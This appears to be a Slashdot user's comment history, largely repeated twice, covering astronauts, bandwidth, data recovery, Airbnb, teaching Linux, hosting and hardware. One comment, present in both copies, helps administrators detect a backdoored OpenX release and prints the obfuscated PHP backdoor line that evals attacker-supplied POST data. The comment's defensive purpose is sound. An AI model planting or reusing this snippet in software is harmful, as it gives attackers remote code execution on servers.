The old slashdot post about Ko San was correct at the time - Ko San was chosen over Yi So-Yeon to be the first South Korean astronaut and was still going at the time the first article on slashdot was posted. However, Ko San was accused of violating their security protocols and revealing secret information twice while training at the cosmonaut training center. This caused him to lose his spot on the Soyuz and Yi So-Yeon went up instead. Ko San left the astronaut program years ago, leaving Yi So-Yeon as the sole remaining trained astronaut. Ko San Bio, he is an interesting dude.
we're on a business class 100mb cable connection 100mbps = 12mbyte/s (give up 15-20% for the packet overhead, 10megabytes/sec).
Distilling that summary into the data that mattered: 1.5mb image, 3mb file each under 5 megs. and images every 3-5 seconds
The files are 5megabytes total. In a perfect world, they'd transfer in 0.5 seconds.
Leaving 2.5 - 4.5 seconds for the porn.
Let's assume they are the bigger size, 5megabytes, and they transfer in the more frequent number, every 3 seconds. 5MBytes/3s = 1.66667 Mbytes/s = 13.33333 mbits/s.
Why is a facility with a 100mb/s line incapable of handling this? How did a problem where a 100mb/s line can't handle 13.3333mb/s come to a conclusion of "Fix it with the cloud?"
In any case, if you want to do a cloud setup, just about all of them will handle small 13.3mb/s constant rates and you'll pay for it more than if you figured out why your line isn't keeping up.
Quick check on your servers by going to the openx base directory and doing an md5: md5sum \
plugins/deliveryLog/vastServeVideoPlayer/flowplayer/3.1.1/flowplayer-3.1.1.min.js \
plugins/deliveryLog/vastServeVideoPlayer/player.delivery.php \
lib/max/Delivery/common.php
These md5's match the problem files: 558c80e601fb996e5f6bbc99a9ee0051 plugins/deliveryLog/vastServeVideoPlayer/flowplayer/3.1.1/flowplayer-3.1.1.min.js fa4991d5fd3bf4a947b6ab0b15ce10b2 plugins/deliveryLog/vastServeVideoPlayer/player.delivery.php 5014c31b479094c0b32221ae1f1473ac lib/max/Delivery/common.php
flowplayer-3.1.1.min.js is the important one. It has $j='explode'; $_=$j(',','strrev,str_rot13,vastPlayer'); eval($_[1]($_[0]($_POST[$_[2]])));
obfuscated in it.
The flowerplayer-3.1.1min.js file shouldn't have changed since 2.8.9. So if you have an older version, you can just drop that into place over top of the one you currently have (just make sure it doesn't have the php tag in it). My unexploited copy from the last version was dated 7-17-2012 and has the following md5 8570c9bbdd01bef2c812270e68a306b5 flowplayer-3.1.1.min.js
The update is here or if you log in to your openx administrator panel, it should show by switching to the 'Administrator' in the upper right dropdown, going to 'configuration' and to the 'product updates' section in the left hand bar.
Finding out if someone actually used it on your server would require grepping through your logs for a post to fc.php and flow player-3.1.1.min.js. (I didn't see any requests for it on my servers, so I'm guessing there's not an automated scanner for it yet).
The summary seemed to lead in a specific direction - the 'for comparison' referring to 800k years isn't based on info from other types of measurements, pre-1958 at that site.
Interesting bits from the Mauna Loa wiki - It's a volcano - It's been erupting for at least 700k years - It may have emerged above sea level 400k years ago - Oldest dated rocks are less than 200k years old - It's drifting away from the hotspot and will go extinct in the next 500k=1m years - It erupted last from Mar-Apr of 1984 - Atmosphere observations come from two observatories near the summit - From its location well above local human-generated influences, the MLO monitors the global atmosphere, including the greenhouse gas carbon dioxide. Measurements are adjusted to account for local outgassing of CO2 from the volcano
I looked it up because my kneejerk was "But it's on top of a volcano..." and I can't help but be skeptic when there's big leaps in causation in summaries...
Not disagreeing that the video was pretty bad - I can't say I'd do any better if asked to do an interview off the cuff. Definitely not a well planned advertisement if that's what it was supposed to be.
I've had customers that have used these guys with about a 50/50 success rate at getting 100% data back. The times they couldn't get the data were due to head crashes that had scrapped the platters clean.
It never seems to fail, customer declares they absolutely don't need backups for their workstations, they only need it for their servers and that their users will always remember to put the data on the server. Except they don't . . . and there ends up being something business critical on Joe User's laptop that they just dropped/spilled on/etc.
The way Flashback works is they'll do an eval on the drive (which they used to charge a couple hundred bucks to just do the eval, but they've gotten cheaper on the more common drive types) - after they get you the list of files that they can get back, they'll quote you what it takes to recover the data and you can choose whether to move forward. If they can't get anything, they let you know and you aren't out thousands of bucks with nothing to show for it.
As much as we try to avoid the situation where an individual drive matters when it comes to data, the human part of business seems to generate conditions that causes these guys to be needed. I rarely have had to take anything to these guys, but overall I've been happy with the turn around, the pricing is reasonable compared to the national-mailin type chains and they don't sell you on things that are impossible. Usually I end up just bringing them a boxxed drive to dump the data on if they can get it, but they've been flexible at getting the important files up on a site that we can ftp it if the customer desperately wanted it.
(and that's probably a better slashvertisement than what ended up coming across in the video - there was still some good info in it about how the ssd recovery differs from platter based if you can sit through the eye twitching and 'ums'). In any case - they haven't come across as the usual scum/basement recovery operations.
Ooh, good catch. (I'm the A/C above, didn't notice I wasn't logged in). I have to wonder what type of info they may have posted to the logged in user at the time when they made the listings. Probably very little based on what you found. I think most of us agree she appears to have approached the whole thing without enough common sense.
I just ran across this usatoday article which had some more info (apparently the 19 year old isn't in SF PD custody anymore...).
EJ claims she hasn't gotten squat from airbnb still, airbnb is saying they have offered all sortsa compensation. Seems like an easy enough thing to verify; I don't get how it's still a he-says-she-says routine.
What was interesting in the article was this bit from airbnb: Airbnb, while pointing out that the incident was the first of its kind out of some 2 million stays booked since the company's founding in 2008, announced that it would be doubling the size of its customer service staff (42 people at the time of the incident and 88 currently), offering insurance to hosts and creating a "Trust and Safety" department, among other measures.
That seems to imply that they do not currently offer insurance. How naive of them to not consider it necessary in the last 3 years. One of their similar competitors, roomarama.com, also doesn't provide any type of insurance.
Also from that article: She said was "growing a very thick skin" because of accusations that she was part of a plot by the hotel industry to discredit Airbnb, and because of criticism that she courted disaster by opening her rented apartment to strangers. That's just harsh. I couldn't find who was supposedly making those accusations, but if it's more than the cynical/. user, that just isn't right.
Here's hoping she at least gets her backup drive back.
According to this wiki they are more durable, harder to tear, more resistant to folding, more resistant to soil, waterproof (and washing machine proof), easier to machine process, and are shreddable and recyclable at the end of their useful lives. (bold emphasis mine). From the other links I've found, they hold up poorly in the dryer on high heat. On the plus side, it sounds as if they can be sanitized in the dishwasher . . .
Even though they've been around for years in Australia, this is the first I've heard of polymer notes. I tried looking through the Canadian info sites where they pumped how good it was for the environment, recyclable, holds up longer, yadda yadda . . . I missed where it showed how the notes held up against routine extremes (most notably for me, the clothes dryer . ..)
As someone who has 1 in 5 dollars that are downey-fresh, how do they hold to the cotton dry cycle?
As others have said 'teaching computer labs' is a bit ambiguous. The fact that you are talking about a 100 series class, I'm assuming means something more along the lines of 'how do I work in this linux based computer lab', not 'how do I learn everything there is to know about linux'.
Though the majority of the people here are flabbergasted that those in a CS class haven't touched linux already, it is a different time. Keep in mind, those same people haven't touched VMS . . or punchcards. A brief history of linux and why it is useful couldn't hurt. Some key notes like the number of systems that use it for web based systems can bolster the view that it isn't just some basement nerds hobby OS. Brief = Brief, keep it 5-10 mins to keep eyeglaze from setting in. Some of the students are there for the joy of learning, some are there just for the degree so that they can make money. A few stats on how linux = money for them personally would be good, avarice is a motivator.
In your shoes, I think I'd cover the basics you'd need to know in any OS first. "How do I copy a file?", "How do I move a file?", "Can I get that deleted file back?". Moving up to how do I use the editors (both GUI and CLI). Knowing vi is great and all, but it can be a big mouthful the first time you look at it. Keep it simple. Most importantly, teach them how to find the answer to their questions when you aren't there. Linux has been around long enough that there are often a dozen ways to accomplish the same thing and some of the advice out there is outdated or just convoluted. Having some prepared cheat sheets for them would probably be good.
Once you've had time to cover the basics, spend time doing question and answer. You don't necessarily know how much exposure these people have had to Linux. They will have had experience with windows or mac os (and hopefully you have too). Let them ask 'How do I do X in linux that I know how to do in -myOS-'. This is of course dependent in how expert you are with those OS's. If your answers end up being "Its much easier in linux, all you do is X" you are going to win converts. If you can't give an easy answer, don't try while standing in front of them and fudgin your way through it; note it down and get back to them tomorrow. If you've ever watched someone try to figure out an answer in front of you, you can get misdirected by the different places the knowledgable user checks to get to the end goal. Many freshman enter university with a laptop, have them bring it with them. Often they can show you what they want to do quicker than explain it.
Cover the things they care about. If they don't know pidgin, show it to them (and how to remove it since these are shared machines). Here's your facebook page (I know, I'm ill suggesting it too), here's a feature rich office app to try out, and anything else the kids on my lawn care about.
Finally, show them how to interact with linux systems using their OS of choice. Just because you run windows doesn't mean you can't be a linux fiend. If they can get on servers remotely via SSH, show them how so they can keep poking at their own pace.
I wouldn't encourage them to install linux on their personal systems if they aren't familiar with it; they'll end up frustrated when they don't know how to accomplish a task and can't figure it out before the next time they get in to ask you. The minute they reinstall back to Windows/osX, you've likely lost them.
I'm a bit confused why a sophomore is teaching those 1 year behind... The professor is surely paid enough...
I hadn't looked at one of the bigger mail setups I manage and was surprised to see it wasn't all fluff.
Spam levels are about 1/6th of this time last year (The 'rejected' are mostly sqlgrey bounces which kills most the spam. The extra grey on the tips is the spam getting through to the actual scanners which looks about the same).
inSSIDer I've been pretty happy using that to help find the best channel for my WAPs in congested areas. If you really believe it might be a neighbor jumping online from 8:30 to 10, that could help. I haven't yet found a card it doesn't work with under windows (assuming you are running windows...)
If you are finding your fancy wifi card isn't supported by stumbler and other free channel overlap type tools . . . why not buy a cheap wifi card to use with those apps? You could always drop it back on craigslist/ebay (or even return it to the store claiming it doesn't match your curtains).
Low cost hosting providers rarely guarantee backup and restoration services as part of the low cost package. It is often a separate item entirely that must be paid for in addition to the standard account. Not only this, many of the shared/virtual private server type providers do not offer any guaranteed recovery period if the server you happen to be on goes down. If you are experiencing an outage due to another user sharing your hardware being compromised and they take the server offline, often times the provider will do nothing to get your site back up and running quickly even if you have the data prepared to slam back onto a new system; You just end up having to wait. (First hand recent experience with a one-and-one vps: The hardware had a drive controller failure. We have full backups of the VPS via bacula and if they were willing to give us a second vps on a new server at the same IP, we could have slammed the data back onto the server and been back up within the hour. They instead made my customer wait 48 hours while they worked on trying to make that original server work.)
Regardless of who you pay for hosting, your data is your responsibility. Their backups are worthless if you never actually prove they are usable yourself. Plan for disaster ahead of time and you'll be better off. Plan it at several different levels: what happens when the data is corrupt? What do you do if the server catches on fire? What do you do if the city/region experiences a catastrophe? What do you do when Joe Constructionworker is installing sprinklers next door and puts their backhoe through the datalines feeding the center? If your provider is offering to cover any one of these with a solution (like paying them to backup the data for your restoration) find out how you get the databack and what kind of SLA's they have. If they back it up, but it's a 24 hour process just to get to the point where you can restore things, that may not work for you. Understanding your recovery process before you need to put it in place is one of the biggest failings of many users/companies offering web based service delivery.
Now, one of the more interesting lower cost providers I've run into lately is Linode. You have a bit more flexibility in dealing with scaling and failover and you can move your virtual private server to bigger and beefier hardware as your site grows. They are working on an inhouse backup solution, but realistically if you care enough about your data, you'll regularly backup offsite with scripts or your favorite backup program (bacula anyone?). Linode is targetted more towards those who can admin their systems themselves rather than needing pre-setup solutions with GUI's (not that you couldn't use something like Plesk yourself on it). You can slowly scale your system hardwarewise to machines that have less and less shared users and you can even use multiple virtual servers with virtual load balancers in front of it (they have some interesting support for having a private lan between your virtuals that keeps the traffic 'local' and won't count against your bandwidth usage. You could use multiple virtual nic's to do load balancing with LVS type setups if you wanted).
When it comes down to processor comparisons, I see very little compelling about this new AMD proc. The i7 920 is going to outperform it at most things, uses less power and is only 35 bucks more. Eventually for those of us always-on users, even the 10 watt savings of the i7 is going to kill the slight price advantage.
The only thing I see interesting here is the fact that you have more commodity boards to choose from, could do a slower upgrade (re-use your ddr2!) but this isn't any different than the currently line of quad proc amd chips, many of which can be had for cheaper and use less power.
LED lights are a cheap fun way to teach some basics. All you need is a battery (or even better, several different batteries with different voltages), an LED (or several LED's with different voltages), and a bunch of resistors.
You can get packs of green, red, and yellow LED's for less than 50 cents an LED. resistors are a buck for packs of 10. And batteries are batteries. Figuring out the resistor needed to light up an LED based on the voltage from a single battery or series of batteries can be neat.
If you want to take it a step further, bring in some 50 cent USB a-b cables. Slash them and toss out the B side, find the 5V and ground line, and have them figure out the resistor needed to light an LED for USB voltage (like a woot light!). USB power = 5V 100ma usually (it goes up to 500ma, but the driver usually has to negotiate it up; it should be 100ma; buy a cheap powered hub if you want to keep it safe from the computer). There are lots of links on how to figure out the voltage of an LED, this one is ok.
My favorite tools are a combination of the Trinity Rescue Kit linux boot cd and the Restorer tool.
It depends on the type of failure, but generally, I start with a ddrescue to get an image of the drive, especially if the drive is running bad sectors. Either I set the image to go to a secondary spare drive or I push it across the network. ddrescue is nice in that it doesn't bail when it hits those bad sectors, can run in reverse mode, and eventually it'll get as much as isn't corrupt on the drive into the image.
After establishing the image, the original failed drives go into ESD bags and aren't touched again unless they are to get shipped to one of the expensive clean room type places for their style recovery.
Most of the win32 drive recovery softwares out there can handle reading from an image file, so from here on out, I work with the images I took with ddrescue. Restorer has worked pretty well for me on getting things back from hard drives, CF cards, and even raid sets (figuring out the cluster sizes on the raid can be a pain if you don't happen to know them, but the software does support reassembling raid drives from the images you take of the single drives).
Most of the win32 packages out there have support for making the original images, but I haven't had as much luck with most of them when dealing with severely corrupted drives or with a large scattering of bad sectors. Either they take far too long to make it through the image or they end up failing to get by the bad sectors.
Regardless of what you end up picking, you don't want to use any of the recovery tools that advertise how they can fix the partition table and such on the drive, live . . . any recovery operation that thinks it is ok to 'fix' a drive with data on it you want to recover has the wrong mindset. The data is important, not making the drive work again.
We still use pagers for our notification systems. Most cell providers do not do guaranteed delivery/receipt of text messages while 2 way paging service will. It often has a much larger range than cell towers will give you and works further inside building that cell phones die in. Regardless of what many say here, pagers are not obsolete.
I personally have found the USAMobility people responsive enough, generally knowledgeable and the times the device has broken, they've had a new one to me in 24 hours.
Others have mentioned Skytel and Metrotel, which offer similar services and models. (Quite a few of the paging companies have been bought up or been consolidated, but generally I've found the coverage areas have not reduced).
I don't agree with this assessment.
on
Fire Your IT Boss
·
· Score: 4, Insightful
The article seems to more say that the IT manager needs to understand the underlings jobs and be able to describe the job. Not that the manager has to understand everything the underling must do to complete the job. The summary seems a little slanted.
The absolute best IT managers I've had were more than willing to state when they didn't understand the technical details. In the cases where they had to explain something in detail they did what a good manager would do; they'd ask the individual who DOES understand it better than they come and explain when that level of detail is needed. Those same IT managers not only understood enough of my job to outline what they'd like accomplished and stepped back to let me accomplish it in the most technically correct way possible, they shielded me from those above and outside the department so that I could do that job.
The last thing I want is to be managed by someone who thinks they are more an expert on the intricacies of what I'm working on. Either they are going to micromanage the individuals on their team or they aren't ever going to be satisfied with the work that is produced.
Maybe the poster would be happier if they were called IT Personnel Managers?
Slashdot Mirror
The old slashdot post about Ko San was correct at the time - Ko San was chosen over Yi So-Yeon to be the first South Korean astronaut and was still going at the time the first article on slashdot was posted. However, Ko San was accused of violating their security protocols and revealing secret information twice while training at the cosmonaut training center. This caused him to lose his spot on the Soyuz and Yi So-Yeon went up instead. Ko San left the astronaut program years ago, leaving Yi So-Yeon as the sole remaining trained astronaut.
Ko San Bio, he is an interesting dude.
we're on a business class 100mb cable connection
100mbps = 12mbyte/s (give up 15-20% for the packet overhead, 10megabytes/sec).
Distilling that summary into the data that mattered:
1.5mb image, 3mb file each under 5 megs.
and
images every 3-5 seconds
The files are 5megabytes total.
In a perfect world, they'd transfer in 0.5 seconds.
Leaving 2.5 - 4.5 seconds for the porn.
Let's assume they are the bigger size, 5megabytes, and they transfer in the more frequent number, every 3 seconds.
5MBytes/3s = 1.66667 Mbytes/s = 13.33333 mbits/s.
Why is a facility with a 100mb/s line incapable of handling this?
How did a problem where a 100mb/s line can't handle 13.3333mb/s come to a conclusion of "Fix it with the cloud?"
In any case, if you want to do a cloud setup, just about all of them will handle small 13.3mb/s constant rates and you'll pay for it more than if you figured out why your line isn't keeping up.
It is fixed in 2.8.11
http://forum.openx.org/index.php?showtopic=503521628 has openx's response.
Quick check on your servers by going to the openx base directory and doing an md5:
md5sum \
plugins/deliveryLog/vastServeVideoPlayer/flowplayer/3.1.1/flowplayer-3.1.1.min.js \
plugins/deliveryLog/vastServeVideoPlayer/player.delivery.php \
lib/max/Delivery/common.php
These md5's match the problem files:
558c80e601fb996e5f6bbc99a9ee0051 plugins/deliveryLog/vastServeVideoPlayer/flowplayer/3.1.1/flowplayer-3.1.1.min.js
fa4991d5fd3bf4a947b6ab0b15ce10b2 plugins/deliveryLog/vastServeVideoPlayer/player.delivery.php
5014c31b479094c0b32221ae1f1473ac lib/max/Delivery/common.php
flowplayer-3.1.1.min.js is the important one.
It has
$j='explode';
$_=$j(',','strrev,str_rot13,vastPlayer');
eval($_[1]($_[0]($_POST[$_[2]])));
obfuscated in it.
The flowerplayer-3.1.1min.js file shouldn't have changed since 2.8.9. So if you have an older version, you can just drop that into place over top of the one you currently have (just make sure it doesn't have the php tag in it). My unexploited copy from the last version was dated 7-17-2012 and has the following md5
8570c9bbdd01bef2c812270e68a306b5 flowplayer-3.1.1.min.js
The update is here or if you log in to your openx administrator panel, it should show by switching to the 'Administrator' in the upper right dropdown, going to 'configuration' and to the 'product updates' section in the left hand bar.
Finding out if someone actually used it on your server would require grepping through your logs for a post to fc.php and flow player-3.1.1.min.js. (I didn't see any requests for it on my servers, so I'm guessing there's not an automated scanner for it yet).
It wasn't in the wiki, but Jah-Wren Ryel posted this link above that seemed to have an ok explanation of their methodology.
The summary seemed to lead in a specific direction - the 'for comparison' referring to 800k years isn't based on info from other types of measurements, pre-1958 at that site.
Interesting bits from the Mauna Loa wiki
- It's a volcano
- It's been erupting for at least 700k years
- It may have emerged above sea level 400k years ago
- Oldest dated rocks are less than 200k years old
- It's drifting away from the hotspot and will go extinct in the next 500k=1m years
- It erupted last from Mar-Apr of 1984
- Atmosphere observations come from two observatories near the summit
- From its location well above local human-generated influences, the MLO monitors the global atmosphere, including the greenhouse gas carbon dioxide. Measurements are adjusted to account for local outgassing of CO2 from the volcano
I looked it up because my kneejerk was "But it's on top of a volcano..." and I can't help but be skeptic when there's big leaps in causation in summaries...
Not disagreeing that the video was pretty bad - I can't say I'd do any better if asked to do an interview off the cuff. Definitely not a well planned advertisement if that's what it was supposed to be.
I've had customers that have used these guys with about a 50/50 success rate at getting 100% data back. The times they couldn't get the data were due to head crashes that had scrapped the platters clean.
It never seems to fail, customer declares they absolutely don't need backups for their workstations, they only need it for their servers and that their users will always remember to put the data on the server. Except they don't . . . and there ends up being something business critical on Joe User's laptop that they just dropped/spilled on/etc.
The way Flashback works is they'll do an eval on the drive (which they used to charge a couple hundred bucks to just do the eval, but they've gotten cheaper on the more common drive types) - after they get you the list of files that they can get back, they'll quote you what it takes to recover the data and you can choose whether to move forward. If they can't get anything, they let you know and you aren't out thousands of bucks with nothing to show for it.
As much as we try to avoid the situation where an individual drive matters when it comes to data, the human part of business seems to generate conditions that causes these guys to be needed. I rarely have had to take anything to these guys, but overall I've been happy with the turn around, the pricing is reasonable compared to the national-mailin type chains and they don't sell you on things that are impossible. Usually I end up just bringing them a boxxed drive to dump the data on if they can get it, but they've been flexible at getting the important files up on a site that we can ftp it if the customer desperately wanted it.
(and that's probably a better slashvertisement than what ended up coming across in the video - there was still some good info in it about how the ssd recovery differs from platter based if you can sit through the eye twitching and 'ums'). In any case - they haven't come across as the usual scum/basement recovery operations.
Just for you . . .
USS Lexington AnyMouse Report
Took the pic on 5/7/02 on the USS Lexington (CV-16) in Corpus Christi. I think it was somewhere near the engine room?
Ooh, good catch. (I'm the A/C above, didn't notice I wasn't logged in). I have to wonder what type of info they may have posted to the logged in user at the time when they made the listings. Probably very little based on what you found. I think most of us agree she appears to have approached the whole thing without enough common sense.
I just ran across this usatoday article which had some more info (apparently the 19 year old isn't in SF PD custody anymore...).
EJ claims she hasn't gotten squat from airbnb still, airbnb is saying they have offered all sortsa compensation. Seems like an easy enough thing to verify; I don't get how it's still a he-says-she-says routine.
What was interesting in the article was this bit from airbnb:
Airbnb, while pointing out that the incident was the first of its kind out of some 2 million stays booked since the company's founding in 2008, announced that it would be doubling the size of its customer service staff (42 people at the time of the incident and 88 currently), offering insurance to hosts and creating a "Trust and Safety" department, among other measures.
That seems to imply that they do not currently offer insurance. How naive of them to not consider it necessary in the last 3 years. One of their similar competitors, roomarama.com, also doesn't provide any type of insurance.
Also from that article: /. user, that just isn't right.
She said was "growing a very thick skin" because of accusations that she was part of a plot by the hotel industry to discredit Airbnb, and because of criticism that she courted disaster by opening her rented apartment to strangers.
That's just harsh. I couldn't find who was supposedly making those accusations, but if it's more than the cynical
Here's hoping she at least gets her backup drive back.
Rose lensed glasses for everyone!
According to this wiki they are more durable, harder to tear, more resistant to folding, more resistant to soil, waterproof (and washing machine proof), easier to machine process, and are shreddable and recyclable at the end of their useful lives. (bold emphasis mine). From the other links I've found, they hold up poorly in the dryer on high heat. On the plus side, it sounds as if they can be sanitized in the dishwasher . . .
Even though they've been around for years in Australia, this is the first I've heard of polymer notes. I tried looking through the Canadian info sites where they pumped how good it was for the environment, recyclable, holds up longer, yadda yadda . . . I missed where it showed how the notes held up against routine extremes (most notably for me, the clothes dryer . . .)
As someone who has 1 in 5 dollars that are downey-fresh, how do they hold to the cotton dry cycle?
As others have said 'teaching computer labs' is a bit ambiguous. The fact that you are talking about a 100 series class, I'm assuming means something more along the lines of 'how do I work in this linux based computer lab', not 'how do I learn everything there is to know about linux'.
Though the majority of the people here are flabbergasted that those in a CS class haven't touched linux already, it is a different time. Keep in mind, those same people haven't touched VMS . . or punchcards. A brief history of linux and why it is useful couldn't hurt. Some key notes like the number of systems that use it for web based systems can bolster the view that it isn't just some basement nerds hobby OS. Brief = Brief, keep it 5-10 mins to keep eyeglaze from setting in. Some of the students are there for the joy of learning, some are there just for the degree so that they can make money. A few stats on how linux = money for them personally would be good, avarice is a motivator.
In your shoes, I think I'd cover the basics you'd need to know in any OS first. "How do I copy a file?", "How do I move a file?", "Can I get that deleted file back?". Moving up to how do I use the editors (both GUI and CLI). Knowing vi is great and all, but it can be a big mouthful the first time you look at it. Keep it simple. Most importantly, teach them how to find the answer to their questions when you aren't there. Linux has been around long enough that there are often a dozen ways to accomplish the same thing and some of the advice out there is outdated or just convoluted. Having some prepared cheat sheets for them would probably be good.
Once you've had time to cover the basics, spend time doing question and answer. You don't necessarily know how much exposure these people have had to Linux. They will have had experience with windows or mac os (and hopefully you have too). Let them ask 'How do I do X in linux that I know how to do in -myOS-'. This is of course dependent in how expert you are with those OS's. If your answers end up being "Its much easier in linux, all you do is X" you are going to win converts. If you can't give an easy answer, don't try while standing in front of them and fudgin your way through it; note it down and get back to them tomorrow. If you've ever watched someone try to figure out an answer in front of you, you can get misdirected by the different places the knowledgable user checks to get to the end goal. Many freshman enter university with a laptop, have them bring it with them. Often they can show you what they want to do quicker than explain it.
Cover the things they care about. If they don't know pidgin, show it to them (and how to remove it since these are shared machines). Here's your facebook page (I know, I'm ill suggesting it too), here's a feature rich office app to try out, and anything else the kids on my lawn care about.
Finally, show them how to interact with linux systems using their OS of choice. Just because you run windows doesn't mean you can't be a linux fiend. If they can get on servers remotely via SSH, show them how so they can keep poking at their own pace.
I wouldn't encourage them to install linux on their personal systems if they aren't familiar with it; they'll end up frustrated when they don't know how to accomplish a task and can't figure it out before the next time they get in to ask you. The minute they reinstall back to Windows/osX, you've likely lost them.
I'm a bit confused why a sophomore is teaching those 1 year behind... The professor is surely paid enough...
I hadn't looked at one of the bigger mail setups I manage and was surprised to see it wasn't all fluff.
Spam levels are about 1/6th of this time last year
(The 'rejected' are mostly sqlgrey bounces which kills most the spam. The extra grey on the tips is the spam getting through to the actual scanners which looks about the same).
Some of the perspectives are interesting.
Check the condo on the west side of Congress between 2nd and 3rd.
inSSIDer
I've been pretty happy using that to help find the best channel for my WAPs in congested areas. If you really believe it might be a neighbor jumping online from 8:30 to 10, that could help. I haven't yet found a card it doesn't work with under windows (assuming you are running windows...)
If you are finding your fancy wifi card isn't supported by stumbler and other free channel overlap type tools . . . why not buy a cheap wifi card to use with those apps? You could always drop it back on craigslist/ebay (or even return it to the store claiming it doesn't match your curtains).
Unrealistic as it may seem, Griffin is real. She's in the Pajamachievements and does the comic over at RoosterTeeth.com
Rooster Teeth Shorts, Immersion (Pilot)
Not cool that Gizmodo didn't give them credit. These are the same guys that do the Red Vs Blue machinima.
Low cost hosting providers rarely guarantee backup and restoration services as part of the low cost package. It is often a separate item entirely that must be paid for in addition to the standard account. Not only this, many of the shared/virtual private server type providers do not offer any guaranteed recovery period if the server you happen to be on goes down. If you are experiencing an outage due to another user sharing your hardware being compromised and they take the server offline, often times the provider will do nothing to get your site back up and running quickly even if you have the data prepared to slam back onto a new system; You just end up having to wait. (First hand recent experience with a one-and-one vps: The hardware had a drive controller failure. We have full backups of the VPS via bacula and if they were willing to give us a second vps on a new server at the same IP, we could have slammed the data back onto the server and been back up within the hour. They instead made my customer wait 48 hours while they worked on trying to make that original server work.)
Regardless of who you pay for hosting, your data is your responsibility. Their backups are worthless if you never actually prove they are usable yourself. Plan for disaster ahead of time and you'll be better off. Plan it at several different levels: what happens when the data is corrupt? What do you do if the server catches on fire? What do you do if the city/region experiences a catastrophe? What do you do when Joe Constructionworker is installing sprinklers next door and puts their backhoe through the datalines feeding the center? If your provider is offering to cover any one of these with a solution (like paying them to backup the data for your restoration) find out how you get the databack and what kind of SLA's they have. If they back it up, but it's a 24 hour process just to get to the point where you can restore things, that may not work for you. Understanding your recovery process before you need to put it in place is one of the biggest failings of many users/companies offering web based service delivery.
Now, one of the more interesting lower cost providers I've run into lately is Linode. You have a bit more flexibility in dealing with scaling and failover and you can move your virtual private server to bigger and beefier hardware as your site grows. They are working on an inhouse backup solution, but realistically if you care enough about your data, you'll regularly backup offsite with scripts or your favorite backup program (bacula anyone?). Linode is targetted more towards those who can admin their systems themselves rather than needing pre-setup solutions with GUI's (not that you couldn't use something like Plesk yourself on it). You can slowly scale your system hardwarewise to machines that have less and less shared users and you can even use multiple virtual servers with virtual load balancers in front of it (they have some interesting support for having a private lan between your virtuals that keeps the traffic 'local' and won't count against your bandwidth usage. You could use multiple virtual nic's to do load balancing with LVS type setups if you wanted).
When it comes down to processor comparisons, I see very little compelling about this new AMD proc. The i7 920 is going to outperform it at most things, uses less power and is only 35 bucks more. Eventually for those of us always-on users, even the 10 watt savings of the i7 is going to kill the slight price advantage.
The only thing I see interesting here is the fact that you have more commodity boards to choose from, could do a slower upgrade (re-use your ddr2!) but this isn't any different than the currently line of quad proc amd chips, many of which can be had for cheaper and use less power.
Come on, AMD, you can do better.
LED lights are a cheap fun way to teach some basics. All you need is a battery (or even better, several different batteries with different voltages), an LED (or several LED's with different voltages), and a bunch of resistors.
You can get packs of green, red, and yellow LED's for less than 50 cents an LED. resistors are a buck for packs of 10. And batteries are batteries. Figuring out the resistor needed to light up an LED based on the voltage from a single battery or series of batteries can be neat.
If you want to take it a step further, bring in some 50 cent USB a-b cables. Slash them and toss out the B side, find the 5V and ground line, and have them figure out the resistor needed to light an LED for USB voltage (like a woot light!). USB power = 5V 100ma usually (it goes up to 500ma, but the driver usually has to negotiate it up; it should be 100ma; buy a cheap powered hub if you want to keep it safe from the computer). There are lots of links on how to figure out the voltage of an LED, this one is ok.
My favorite tools are a combination of the Trinity Rescue Kit linux boot cd and the Restorer tool.
It depends on the type of failure, but generally, I start with a ddrescue to get an image of the drive, especially if the drive is running bad sectors. Either I set the image to go to a secondary spare drive or I push it across the network. ddrescue is nice in that it doesn't bail when it hits those bad sectors, can run in reverse mode, and eventually it'll get as much as isn't corrupt on the drive into the image.
After establishing the image, the original failed drives go into ESD bags and aren't touched again unless they are to get shipped to one of the expensive clean room type places for their style recovery.
Most of the win32 drive recovery softwares out there can handle reading from an image file, so from here on out, I work with the images I took with ddrescue. Restorer has worked pretty well for me on getting things back from hard drives, CF cards, and even raid sets (figuring out the cluster sizes on the raid can be a pain if you don't happen to know them, but the software does support reassembling raid drives from the images you take of the single drives).
Most of the win32 packages out there have support for making the original images, but I haven't had as much luck with most of them when dealing with severely corrupted drives or with a large scattering of bad sectors. Either they take far too long to make it through the image or they end up failing to get by the bad sectors.
Regardless of what you end up picking, you don't want to use any of the recovery tools that advertise how they can fix the partition table and such on the drive, live . . . any recovery operation that thinks it is ok to 'fix' a drive with data on it you want to recover has the wrong mindset. The data is important, not making the drive work again.
Has anyone noticed any large maid-like robotic entities in orbit? More importantly to our future, were there any winnebagos with wings nearby?
"pump ... coupled to the heat pipe is configured to circulate the liquid coolant through the heat pipe."
Why does it seem like that should be followed by 'and shipped to your door in plain, discreet packaging'?
We still use pagers for our notification systems. Most cell providers do not do guaranteed delivery/receipt of text messages while 2 way paging service will. It often has a much larger range than cell towers will give you and works further inside building that cell phones die in. Regardless of what many say here, pagers are not obsolete.
I personally have found the USAMobility people responsive enough, generally knowledgeable and the times the device has broken, they've had a new one to me in 24 hours.
Others have mentioned Skytel and Metrotel, which offer similar services and models. (Quite a few of the paging companies have been bought up or been consolidated, but generally I've found the coverage areas have not reduced).
The article seems to more say that the IT manager needs to understand the underlings jobs and be able to describe the job. Not that the manager has to understand everything the underling must do to complete the job. The summary seems a little slanted.
The absolute best IT managers I've had were more than willing to state when they didn't understand the technical details. In the cases where they had to explain something in detail they did what a good manager would do; they'd ask the individual who DOES understand it better than they come and explain when that level of detail is needed. Those same IT managers not only understood enough of my job to outline what they'd like accomplished and stepped back to let me accomplish it in the most technically correct way possible, they shielded me from those above and outside the department so that I could do that job.
The last thing I want is to be managed by someone who thinks they are more an expert on the intricacies of what I'm working on. Either they are going to micromanage the individuals on their team or they aren't ever going to be satisfied with the work that is produced.
Maybe the poster would be happier if they were called IT Personnel Managers?